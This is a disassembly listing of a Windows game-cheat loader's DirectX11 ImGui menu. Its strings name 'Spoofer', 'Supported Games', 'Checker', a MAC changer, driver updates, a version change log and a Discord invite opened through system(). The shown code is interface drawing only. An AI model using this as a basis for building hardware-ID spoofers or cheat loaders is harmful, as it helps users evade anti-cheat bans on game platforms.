call qword [rax + 0x30]
test eax, eax
jne 0x14004787a
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x2d8]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140047889
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140047898
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + 8]
cvttss2si esi, dword [0x1401120c8]
mov ebx, r13d
mov edi, r13d
mov qword [rsp + 0x78], rbx
mov r15d, r13d
mov qword [rsp + 0x60], rbx
mov r12d, r13d
mov dword [rbp + 0xa8], ebx
mov dword [rbp - 0x80], ebx
mov dword [rsp + 0x68], ebx
movss xmm1, dword [0x1400fdff4]
xorps xmm12, xmm12
cvttss2si r14d, dword [0x1401120cc]
movsd xmm9, qword [rsp + 0x78]
xorps xmm0, xmm0
movsd xmm10, qword [rsp + 0x60]
movss xmm13, dword [0x1400fe094]
movss xmm14, dword [0x1400fe0c8]
movss xmm7, dword [0x1400fe154]
movsd xmm11, qword [0x1400fe078]
movd xmm8, esi
cvtdq2ps xmm8, xmm8
unpcklps xmm0, xmm1
subss xmm8, xmm12
movss dword [0x140216008], xmm12
movsd qword [0x140216000], xmm0
mov dword [rbp + 0x20], 0x40a00000
mov dword [rbp + 0x24], 0x41a00000
mov qword [rbp + 0x30], r13
mov dword [rbp + 0x28], esi
mov dword [rbp + 0x2c], r14d
mov dword [rbp + 0x1c], 0x329100be
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm6, eax
cvtdq2ps xmm6, xmm6
divss xmm6, xmm7
mulss xmm6, xmm12
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
addss xmm6, xmm12
mov dword [rbp + 0x40], edi
movsd qword [rbp], xmm9
mov dword [rbp + 8], r15d
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mov dword [rbp + 0x14], r12d
movsd qword [rbp + 0xc], xmm10
divss xmm0, xmm7
mulss xmm0, xmm8
addss xmm0, xmm12
unpcklps xmm0, xmm6
movsd qword [rbp + 0x38], xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movaps xmm1, xmm11
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, xmm7
addss xmm0, xmm12
cvtps2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
mov rdx, qword [0x140215fe8]
xorps xmm1, xmm1
cmp rdx, qword [0x140215ff0]
cvtsd2ss xmm1, xmm0
mulss xmm1, xmm14
minss xmm1, xmm14
maxss xmm1, xmm13
movss dword [rbp + 0x18], xmm1
je 0x140047a2f
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rbp + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rbp + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
mov dword [rdx + 0x40], edi
add qword [0x140215fe8], 0x44
jmp 0x140047a38
lea r8, [rbp]
call fcn.14004fcd0
inc ebx
cmp ebx, 0x14
jb 0x140047941
movss xmm9, dword [0x1400fe168]
lea r12, [0x140215f50]
movss xmm10, dword [0x1400fe120]
xor r14b, r14b
movss xmm11, dword [0x1400fe05c]
mov r15d, 1
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0x600]
xor edx, edx
lea rdi, [0x140215f88]
mov esi, 0xf
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140047af0
nop dword [rax + rax]
lea rcx, [rbp + 0x600]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x600]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x608], 0x12
lea rcx, [rbp + 0x600]
movzx r14d, r14b
cmove r14d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140047aa0
test r14b, r14b
jne 0x14004b372
mov rbx, qword [0x140215f00]
test rbx, rbx
je 0x140047b0a
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x140047b27
jmp 0x140047b0d
mov rbx, r13
mov r8d, 0x250
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader__backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], r13
jne 0x140047b32
call fcn.14003b1c0
call fcn.14003c370
call fcn.140008500
cmp qword [0x140215f88], r13
mov qword [rbp], 0xffffffffffffffff
mov qword [rbp + 8], 0xffffffffffffffff
mov qword [rbp + 0x10], 0xffffffffffffffff
mov qword [rbp + 0x18], 0xffffffffffffffff
mov dword [rbp + 0x20], 0xffffffff
mov qword [rbp + 0x24], 0xfffffffffffffffd
mov dword [rbp + 0x2c], 0xffffffff
mov qword [rbp + 0x30], r13
jne 0x140047bac
mov rcx, qword [0x140215fd8]
lea r9, [rbp]
mov qword [rsp + 0x30], r13
lea rdx, [0x1401120d0]
mov qword [rsp + 0x28], rdi
mov r8d, 0x1090
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140215f28], r13
jne 0x140047be9
mov rcx, qword [0x140215fd8]
lea rax, [0x140215f28]
mov qword [rsp + 0x30], r13
lea r9, [rbp]
mov qword [rsp + 0x28], rax
lea rdx, [0x14013bf10]
mov r8d, 0x9389a
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140215f98], r13
jne 0x140047c26
mov rcx, qword [0x140215fd8]
lea rax, [0x140215f98]
mov qword [rsp + 0x30], r13
lea r9, [rbp]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401cf7b0]
mov r8d, 0x1ce83
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140215f00]
test rax, rax
jne 0x140047c53
mov r8d, 0xb7f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140215f00]
mov qword [rax + 0x37f8], r13
test rax, rax
jne 0x140047c80
mov r8d, 0xb7f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140215f00]
movss xmm0, dword [0x1401120c8]
lea rcx, str.menu_DirectX11
movss xmm1, dword [0x1401120cc]
xor edx, edx
mov dword [rax + 0x3804], r13d
mov r8d, 0xaf
mov dword [rax + 0x383c], 0x41700000
mov dword [rax + 0x3840], 0x41700000
mov dword [rax + 0x3864], 0x41600000
or dword [rax + 0x47c8], 3
movss dword [rax + 0x47e8], xmm0
movaps xmm0, xmm12
movss dword [rax + 0x47ec], xmm1
movaps xmm1, xmm12
mov dword [rax + 0x47d0], r15d
unpcklps xmm0, xmm12
unpcklps xmm1, xmm12
movsd qword [rax + 0x47d8], xmm0
movsd qword [rax + 0x47e0], xmm1
mov dword [rax + 0x47cc], 2
call fcn.14000e520
mov rcx, qword [0x140215f30]
lea rdx, [0x140215f40]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r8, qword [0x140215f00]
lea rcx, [rbp + 0x398]
mov qword [rbp + 0x2e8], r13
mov rax, qword [r8 + 0x3ef0]
mov byte [rax + 0xb8], r15b
movss xmm1, dword [0x1402161bc]
movss xmm0, dword [0x1402161b8]
movss dword [rbp + 0x39c], xmm1
movss xmm1, dword [0x1402161c4]
mulss xmm1, dword [r8 + 0x37f0]
movss dword [rbp + 0x398], xmm0
movss xmm0, dword [0x1402161c0]
movss dword [rbp + 0x3a4], xmm1
movss xmm1, dword [0x1401120cc]
movss dword [rbp + 0x3a0], xmm0
movss xmm0, dword [0x1401120c8]
movss dword [rbp + 0x2e4], xmm1
movss dword [rbp + 0x2e0], xmm0
call fcn.140003c00
mov rcx, qword [r8 + 0x3ef0]
lea rdx, [rbp + 0x2e8]
movss xmm0, dword [0x1400fe0c0]
lea r8, [rbp + 0x2e0]
mov r9d, eax
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x298]
call fcn.140023df0
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.USER32.dll_GetCursorPos]
movd xmm0, dword [0x140215f40]
lea r8, [rbp + 0x4c0]
movd xmm1, dword [0x140215f44]
lea rdx, [rbp + 0x4b0]
movd xmm2, dword [rbp + 0x2f0]
movd xmm3, dword [rbp + 0x2f4]
cvtdq2ps xmm2, xmm2
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
cvtdq2ps xmm3, xmm3
unpcklps xmm0, xmm1
unpcklps xmm2, xmm3
movsd qword [rbp + 0x4c0], xmm0
movsd qword [rbp + 0x4b0], xmm2
movss dword [rbp + 0x4c8], xmm12
movss dword [rbp + 0x4b8], xmm12
call fcn.14004fa40
mov r8, qword [0x140215f00]
mov rax, qword [r8 + 0x3ef0]
mov byte [rax + 0xb8], r15b
mov rcx, qword [r8 + 0x3ef0]
mov rax, qword [rcx + 0x298]
mov edi, dword [rax + 0x20]
mov byte [rcx + 0xb8], r15b
movss xmm0, dword [0x1402161b8]
movss xmm1, dword [0x1402161bc]
movss dword [rbp + 0x338], xmm0
movss xmm0, dword [0x1402161c0]
lea rcx, [rbp + 0x338]
movss dword [rbp + 0x33c], xmm1
movss xmm1, dword [0x1402161c4]
mulss xmm1, dword [r8 + 0x37f0]
mov dword [rbp + 0x300], 0x3f800000
movss dword [rbp + 0x340], xmm0
movss xmm0, dword [0x1401120c8]
movss dword [rbp + 0x344], xmm1
movss xmm1, dword [0x1401120cc]
movss dword [rbp + 0x2fc], xmm1
movss dword [rbp + 0x2f8], xmm0
mov dword [rbp + 0x304], 0x3f800000
call fcn.140003c00
mov rcx, qword [r8 + 0x3ef0]
lea rdx, [rbp + 0x300]
movss xmm0, dword [0x1400fe080]
lea r8, [rbp + 0x2f8]
movss dword [rsp + 0x30], xmm0
mov r9d, eax
movss xmm0, dword [0x1400fe0c0]
mov rcx, qword [rcx + 0x298]
movss dword [rsp + 0x20], xmm0
call fcn.140023d10
movss xmm1, dword [0x14021618c]
mov rbx, qword [0x140215f00]
movdqa xmm0, xmmword [0x1400fe3c0]
movss xmm8, dword [0x1401120c8]
movss xmm6, dword [0x1401120cc]
movaps xmm7, xmm8
mov rax, qword [rbx + 0x3ef0]
movups xmmword [rbp - 0x48], xmm0
movss xmm0, dword [0x140216188]
movss dword [rbp + 0x34c], xmm1
movss xmm1, dword [0x140216194]
mulss xmm1, dword [rbx + 0x37f0]
movss dword [rbp + 0x348], xmm0
movss xmm0, dword [0x140216190]
mov byte [rax + 0xb8], r15b
mov rcx, qword [rbx + 0x3ef0]
movss dword [rbp + 0x350], xmm0
movss dword [rbp + 0x354], xmm1
mulss xmm7, xmm15
mov rax, qword [rcx + 0x298]
mulss xmm6, xmm15
mov r8d, dword [rax + 0x20]
mov byte [rcx + 0xb8], r15b
lea rcx, [rbp - 0x48]
call fcn.140003c00
lea rcx, [rbp + 0x348]
mov r9d, eax
call fcn.140003c00
mov rcx, qword [rbx + 0x3ef0]
movaps xmm1, xmm11
mov dword [rsp + 0x30], r9d
mov edx, edi
unpcklps xmm1, xmm11
unpcklps xmm7, xmm6
movq r9, xmm1
mov rcx, qword [rcx + 0x298]
mov dword [rsp + 0x28], eax
movsd qword [rsp + 0x20], xmm7
call fcn.1400262a0
mov rax, qword [rbx + 0x3ef0]
subss xmm8, dword [0x1400fe0fc]
mov byte [rax + 0xb8], r15b
mov rax, qword [rbx + 0x3ef0]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r15b
addss xmm1, xmm8
addss xmm0, dword [0x1400fe0c0]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
call fcn.140015a00
lea r8, [rbp + 0x308]
mov dword [rbp + 0x308], 0x41c80000
lea rcx, [0x1400f03e8]
mov dword [rbp + 0x30c], 0x41c80000
call fcn.1400318c0
test al, al
je 0x1400480e2
mov rcx, qword [0x140215f30]
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400157a0
lea rcx, [0x1400f03e4]
mov dword [rbp + 0x310], 0x41c80000
lea r8, [rbp + 0x310]
mov dword [rbp + 0x314], 0x41c80000
call fcn.1400318c0
test al, al
je 0x14004812d
mov rcx, qword [0x140215f30]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movzx r14d, r15b
call fcn.140015b50
mov eax, dword [0x140216028]
mov edi, dword [0x140215f20]
cmp edi, eax
jne 0x140048148
movaps xmm7, xmm11
jmp 0x14004814c
movaps xmm7, xmm9
mov rbx, qword [0x140215f00]
test rbx, rbx
jne 0x140048185
mov r8d, 0xff5
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [0x140216028]
mov rbx, qword [0x140215f00]
mov edi, dword [0x140215f20]
movss xmm6, dword [rbx + 0x18]
movaps xmm0, xmm6
mulss xmm0, dword [0x1400fe090]
mulss xmm0, xmm7
addss xmm0, dword [0x14021601c]
comiss xmm12, xmm0
jbe 0x1400481ad
movaps xmm7, xmm12
jmp 0x1400481b5
movaps xmm7, xmm11
minss xmm7, xmm0
movss dword [0x14021601c], xmm7
cmp edi, eax
jne 0x1400481c7
movaps xmm8, xmm11
jmp 0x1400481cb
movaps xmm8, xmm9
movss xmm0, dword [0x1400fe130]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm6, xmm0
mulss xmm6, xmm8
addss xmm6, dword [0x1402162e0]
comiss xmm12, xmm6
jbe 0x1400481f5
movaps xmm0, xmm12
jmp 0x1400481fd
movaps xmm0, xmm11
minss xmm0, xmm6
ucomiss xmm7, xmm12
movss dword [0x1402162e0], xmm0
jp 0x14004821b
jne 0x14004821b
ucomiss xmm0, xmm12
jp 0x14004821b
jne 0x14004821b
mov dword [0x140216028], edi
movss xmm0, dword [rbx + 0x37f0]
lea rcx, [rbx + 0x4848]
mulss xmm7, dword [rbx + 0x37f0]
lea rdx, [rbp + 0xa0]
mov dword [rbp + 0xa0], r13d
movss dword [rbp + 0xa4], xmm0
call fcn.14001ed80
mov eax, dword [0x140216028]
movss dword [rbx + 0x37f0], xmm7
test eax, eax
jne 0x140048278
mov dword [0x140215f20], 2
mov dword [0x140216028], 2
jmp 0x14004b12c
cmp eax, 2
jne 0x14004b12c
mov r8, qword [0x140215f00]
lea rcx, [rbp + 0x358]
mov dword [rbp + 0xac], 0x42c80000
mov dword [rbp + 0xb0], 0x42ca0000
mov dword [rbp + 0xb4], 0x41200000
mov rax, qword [r8 + 0x3ef0]
mov dword [rbp + 0xb8], 0x42c80000
mov byte [rax + 0xb8], r15b
movss xmm1, dword [0x14021617c]
movss xmm0, dword [0x140216178]
movss dword [rbp + 0x35c], xmm1
movss xmm1, dword [0x140216184]
mulss xmm1, dword [r8 + 0x37f0]
movss dword [rbp + 0x358], xmm0
movss xmm0, dword [0x140216180]
movss dword [rbp + 0x364], xmm1
movss dword [rbp + 0x360], xmm0
call fcn.140003c00
mov rcx, qword [r8 + 0x3ef0]
lea rdx, [rbp + 0xb4]
movss xmm0, dword [0x1400fe0c0]
lea r8, [rbp + 0xac]
mov r9d, eax
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x298]
call fcn.140023df0
mov r8, qword [0x140215f00]
lea rcx, [rbp + 0x368]
mov dword [rbp + 0xbc], 0x42d40000
mov dword [rbp + 0xc4], 0x42d20000
mov dword [rbp + 0xc8], 0x41200000
mov rax, qword [r8 + 0x3ef0]
mov byte [rax + 0xb8], r15b
movss xmm0, dword [0x140216178]
movss xmm1, dword [0x14021617c]
movss dword [rbp + 0x368], xmm0
movss xmm0, dword [0x140216180]
movss dword [rbp + 0x370], xmm0
movss xmm0, dword [0x1401120cc]
subss xmm0, dword [0x1400fe0b0]
movss dword [rbp + 0x36c], xmm1
movss xmm1, dword [0x140216184]
mulss xmm1, dword [r8 + 0x37f0]
movss dword [rbp + 0xc0], xmm0
movss dword [rbp + 0x374], xmm1
call fcn.140003c00
mov rcx, qword [r8 + 0x3ef0]
lea rdx, [rbp + 0xc4]
movss xmm0, dword [0x1400fe0c0]
lea r8, [rbp + 0xbc]
mov r9d, eax
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x298]
call fcn.140023df0
movss xmm2, dword [0x1401120cc]
lea rcx, [rbp + 0x378]
mov r8, qword [0x140215f00]
mov dword [rbp + 0xcc], 0x42c80000
mov dword [rbp + 0xd4], 0x41200000
mov rax, qword [r8 + 0x3ef0]
mov byte [rax + 0xb8], r15b
movss xmm0, dword [0x140216178]
movss xmm1, dword [0x14021617c]
movss dword [rbp + 0x378], xmm0
movss xmm0, dword [0x140216180]
movss dword [rbp + 0x380], xmm0
movaps xmm0, xmm2
subss xmm0, dword [0x1400fe100]
subss xmm2, dword [0x1400fe104]
movss dword [rbp + 0x37c], xmm1
movss xmm1, dword [0x140216184]
mulss xmm1, dword [r8 + 0x37f0]
movss dword [rbp + 0xd0], xmm0
movss dword [rbp + 0xd8], xmm2
movss dword [rbp + 0x384], xmm1
call fcn.140003c00
mov rcx, qword [r8 + 0x3ef0]
mov r9d, eax
mov dword [rsp + 0x28], r13d
movss xmm0, dword [0x1400fe0c0]
lea r8, [rbp + 0xcc]
mov rcx, qword [rcx + 0x298]
lea rdx, [rbp + 0xd4]
movss dword [rsp + 0x20], xmm0
call fcn.140023df0
mov rcx, qword [0x140215f00]
lea r8, [rbp + 0xdc]
movss xmm0, dword [0x1401120cc]
subss xmm0, dword [0x1400fe0f8]
mov dword [rbp + 0xdc], 0x420c0000
mov rax, qword [rcx + 0x3ef0]
mov dword [rbp + 0xe0], 0x420c0000
mov byte [rax + 0xb8], r15b
mov rax, qword [rcx + 0x3ef0]
lea rcx, [0x1400f03ec]
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], r15b
addss xmm2, dword [0x1400fe0d4]
addss xmm1, xmm0
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.1400318c0
test al, al
je 0x1400485a2
lea rcx, str.start_https:__discord.gg_HF2ZwGdJBr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], r15b
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r15b
addss xmm1, dword [0x1400fe0d8]
addss xmm0, dword [0x1400fe124]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
call fcn.140015a00
cmp dword [0x140215f38], r13d
lea r8, [rbp + 0xe4]
lea rdx, str.G1
mov dword [rbp + 0xe4], 0x42480000
sete cl
mov dword [rbp + 0xe8], 0x42480000
call fcn.140031d80
test al, al
je 0x14004864b
mov eax, r13d
mov dword [0x140215f24], r13d
mov dword [0x140215f38], eax
jmp 0x140048651
mov eax, dword [0x140215f38]
cmp eax, 2
mov dword [rbp + 0xec], 0x42480000
lea r8, [rbp + 0xec]
mov dword [rbp + 0xf0], 0x42480000
sete cl
lea rdx, [0x1400fc228]
call fcn.140031d80
test al, al
je 0x140048696
mov dword [0x140215f38], 2
mov dword [0x140215f24], 2
call fcn.140015b50
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], r15b
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r15b
addss xmm1, dword [0x1400fe118]
addss xmm0, dword [0x1400fe0cc]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
call fcn.140015a00
mov eax, dword [0x140215f38]
test eax, eax
jne 0x14004878e
cmp dword [0x140215f24], r13d
lea r8, [rbp + 0xf4]
lea rdx, str.Announcements
mov qword [rbp + 0xf4], r13
sete cl
call fcn.1400322e0
test al, al
je 0x14004873e
mov edx, r13d
mov dword [0x140215f24], edx
jmp 0x140048744
mov edx, dword [0x140215f24]
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.1400157a0
cmp edx, r15d
mov qword [rbp + 0xfc], r13
lea r8, [rbp + 0xfc]
sete cl
lea rdx, str.Supported_Games
call fcn.1400322e0
test al, al
je 0x14004877c
mov dword [0x140215f24], r15d
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.1400157a0
jmp 0x140048850
cmp eax, 2
jne 0x140048850
cmp dword [0x140215f24], eax
lea r8, [rbp + 0x104]
lea rdx, str.Spoofer
mov qword [rbp + 0x104], r13
sete cl
call fcn.1400322e0
test al, al
je 0x1400487cb
mov edx, 2
mov dword [0x140215f24], edx
jmp 0x1400487d1
mov edx, dword [0x140215f24]
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.1400157a0
cmp edx, 3
mov qword [rbp + 0x10c], r13
lea r8, [rbp + 0x10c]
sete cl
lea rdx, str.Misc
call fcn.1400322e0
test al, al
je 0x14004880f
mov edx, 3
mov dword [0x140215f24], edx
jmp 0x140048815
mov edx, dword [0x140215f24]
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.1400157a0
cmp edx, 4
mov qword [rbp + 0x114], r13
lea r8, [rbp + 0x114]
sete cl
lea rdx, str.Checker
call fcn.1400322e0
test al, al
je 0x140048850
mov dword [0x140215f24], 4
call fcn.140015b50
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], r15b
mov rax, qword [rcx + 0x3ef0]
mov ecx, dword [0x140215f24]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r15b
addss xmm1, dword [0x1400fe114]
addss xmm0, dword [0x1400fe0f4]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
test ecx, ecx
jne 0x140048daa
mov eax, dword [0x140215f38]
test eax, eax
jne 0x140048efa
movss xmm0, dword [0x1401120c8]
lea rdx, [rbp + 0x11c]
movss xmm1, dword [0x1401120cc]
subss xmm0, xmm10
subss xmm1, xmm10
lea rcx, str.Change_Logs
movss dword [rbp + 0x11c], xmm0
movss dword [rbp + 0x120], xmm1
call fcn.14000b630
mov rcx, qword [0x140215f00]
mov dword [rbp + 0x128], 0x428c0000
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x140048946
cmp qword [rcx + 0x4b30], r13
je 0x140048952
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x124]
addss xmm0, xmm0
lea rdx, str.Updated_ui_and_more_spoofing_options
lea rcx, str.Permanent_V5.1:
subss xmm1, xmm0
subss xmm1, xmm13
movss dword [rbp + 0x124], xmm1
call fcn.1400329a0
mov rax, qword [0x140215f00]
test rax, rax
jne 0x1400489b6
mov r8d, 0xb7f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140215f00]
mov rcx, qword [rax + 0x3ef0]
movss xmm0, dword [rcx + 0x20]
movss xmm1, dword [rcx + 0x250]
subss xmm1, xmm0
cmp qword [rcx + 0x1a8], r13
jne 0x1400489e0
cmp qword [rax + 0x4b30], r13
je 0x1400489ec
movss xmm1, dword [rcx + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rax + 0x37f8]
lea r8, [rbp + 0x12c]
addss xmm0, xmm0
mov dword [rbp + 0x130], 0x428c0000
lea rdx, str.New_UI_and_new_spoofing_method
lea rcx, str.Permanent_V5:
subss xmm1, xmm0
subss xmm1, xmm13
movss dword [rbp + 0x12c], xmm1
call fcn.1400329a0
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x140048a5e
cmp qword [rcx + 0x4b30], r13
je 0x140048a6a
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x134]
addss xmm0, xmm0
mov dword [rbp + 0x138], 0x428c0000
lea rdx, str.Fixed_small_bugs_and_added_features
lea rcx, str.Permanent_V4.5:
subss xmm1, xmm0
subss xmm1, xmm13
movss dword [rbp + 0x134], xmm1
call fcn.1400329a0
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x140048adc
cmp qword [rcx + 0x4b30], r13
je 0x140048ae8
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x13c]
addss xmm0, xmm0
mov dword [rbp + 0x140], 0x428c0000
lea rdx, str.Completely_revamped_UI_and_more_spoofing_options
lea rcx, str.Permanent_V4:
subss xmm1, xmm0
subss xmm1, xmm13
movss dword [rbp + 0x13c], xmm1
call fcn.1400329a0
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x140048b5a
cmp qword [rcx + 0x4b30], r13
je 0x140048b66
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x144]
addss xmm0, xmm0
mov dword [rbp + 0x148], 0x428c0000
lea rdx, str.Updated_driver_and_small_changes_to_UI
lea rcx, str.Permanent_V3.5:
subss xmm1, xmm0
subss xmm1, xmm13
movss dword [rbp + 0x144], xmm1
call fcn.1400329a0
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x140048bd8
cmp qword [rcx + 0x4b30], r13
je 0x140048be4
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x14c]
addss xmm0, xmm0
mov dword [rbp + 0x150], 0x428c0000
lea rdx, str.Updated_UI_and_added_mac_changer_to_UI
lea rcx, str.Permanent_V3:
subss xmm1, xmm0
subss xmm1, xmm13
movss dword [rbp + 0x14c], xmm1
call fcn.1400329a0
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x140048c56
cmp qword [rcx + 0x4b30], r13
je 0x140048c62
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x154]
addss xmm0, xmm0
mov dword [rbp + 0x158], 0x428c0000
lea rdx, str.Updated_loader_and_driver
lea rcx, str.Permanent_V2:
subss xmm1, xmm0
subss xmm1, xmm13
movss dword [rbp + 0x154], xmm1
call fcn.1400329a0
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x140048cd4
cmp qword [rcx + 0x4b30], r13
je 0x140048ce0
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x15c]
